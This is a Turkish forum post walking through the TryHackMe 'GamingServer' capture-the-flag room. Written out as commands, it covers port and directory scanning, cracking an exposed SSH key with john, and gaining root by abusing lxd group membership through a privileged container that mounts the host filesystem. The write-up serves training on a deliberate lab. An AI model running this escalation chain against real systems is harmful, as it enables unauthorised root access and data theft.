TryHackMe GamingServer WriteUp

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
Eren Yılmaz tarafından yazılmıştır.

[TR] TryHackMe GamingServer WriteUp​


Merhaba, bu makalemde tryhackme’de bulunan “GamingServer” isimli odayı hep beraber çözeceğiz ve yorumlayacağız. Hadi hemen başlayalım.

Oda: https://tryhackme.com/room/gamingserver

Bilgi Toplama:​


Makinemizi dağıttıktan sonra açık olan bağlantı noktaları ile alakalı bilgi edinmek için bir adet nmap taraması yapıyoruz.

sudo nmap -A 10.10.13.11
nmap

nmap

Gördüğünüz üzere ayakta iki adet bağlantı noktası görüyoruz. İlk olarak 22 numaralı bağlantı noktasına baktığımızda ssh servisinin ayakta olduğunu görüyoruz. Buraya giriş yapmak için kullanıcı ismi ve şifreye ihtiyacımız var bu yüzden diğer bağlantı noktasına bakıyoruz. Şimdi 80 numaralı bağlantı noktasına baktığımızda apache’nin yani web sitesinin ayakta olduğunu görüyoruz buradan yürüyebiliriz.

Şimdi dizin taraması yapmak için gobuster’ı kullanalım.

gobuster dir -u http://10.10.13.11/ -w common.txt
gobuster

gobuster

Sonuca baktığımızda ilgimizi çeken 2 adet dizin var, bunlar “secret” ve “uploads” dizinleri. secret dizinine baktığımızda bize 1 tane ssh anahtarı veriyor. uploads dizinine baktığımızda ise dict.lst dosyasının içerisinde bize bir kelime listesi veriyor. Anasayfaya dönüp kaynak kodlarına göz attığımızda şu metni görüyoruz. “<!– john, please add some actual content to the site! lorem ipsum is horrible to look at. –>” Bu metin sayesinde kullanıcı ismimizin john olduğunu keşfediyoruz. Şimdi elde ettiğimiz ssh anahtarımızı kıralım.

ssh anahtarını kırmak için ilk önce anahtarımızı john’un anlayacağı bir dile çevirmeliyiz. Bunun için ssh2john.py scriptinden yararlanıyoruz (https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py).

python ssh2john.py secretKey > id_rsa.hash

Şimdi kırma işlemine başlayalım.

john –wordlist=dict.lst id_rsa.hash
john

john

Parolayı saniyeler içerisinde buluyoruz. Şimdi bu bilgilerle ssh servisine giriş yapalım.

ssh

ssh

Sömürme​


Şimdi user flagını okuyalım.

user.txt

user.txt

Yetki Yükseltme​


Karşı makinede “id” komutunu girdiğimizde kullanıcının lxd grubu üyesi olduğunu görüyoruz, bunu sömürebiliriz. Ben bunu sömürmek için şöyle bir kaynak kullandım, ayrıntı isteyenler bakabilir. https://www.hackingarticles.in/lxd-privilege-escalation/

id

id

Bu zafiyeti sömürmek için ilk olarak ana bilgisayarımıza lxd-alpine-builder ‘i kurmalıyız.

git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder

cd lxd–alpine–builder

sudo ./build-alpine

İçerisinde olduğumuz dizinin içerisinde bir tar dosyası oluşmuş olmalı, onu karşı tarafa yollamalıyız. Bunun için ana makinemizde aşağıdaki komutu çalıştıralım.

python -m SimpleHTTPServer

Makinemizi dinlemeye aldık şimdi karşı makineye geçip dosyayı alalım.

wget http://$ip:8000/apline-v3.10-***_**-********_****.tar.gz

Tamamdır dosyayı aldık. Şimdi zafiyeti uygulamaya başlayalım.

lxc image import ./alpine–v3.10–***_**–********_****.tar.gz —alias pwnlab

lxc init pwnlab ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Şimdi bu komutları da girelim.

lxc start ignite

lxc exec ignite /bin/sh

Şimdi “id” komutu ile yetkimize baktığımızda root’a çekildiğini görüyoruz. Hadi root flagını okuyalım.

cat /mnt/root/root/root.txt
root.txt

root.txt

Yetki yükseltme işlemi lxd-alphine’nin arch linuxda oluşturduğu bir hata sebebiyle başka bir makinede yapılmıştır.

Makalem bu kadardı, daha fazla içerik için sitemizi takip edebilirsiniz.

https://pwnlab.me/category/walkthrough/
 
Moderatör tarafında düzenlendi:
Geri
Üst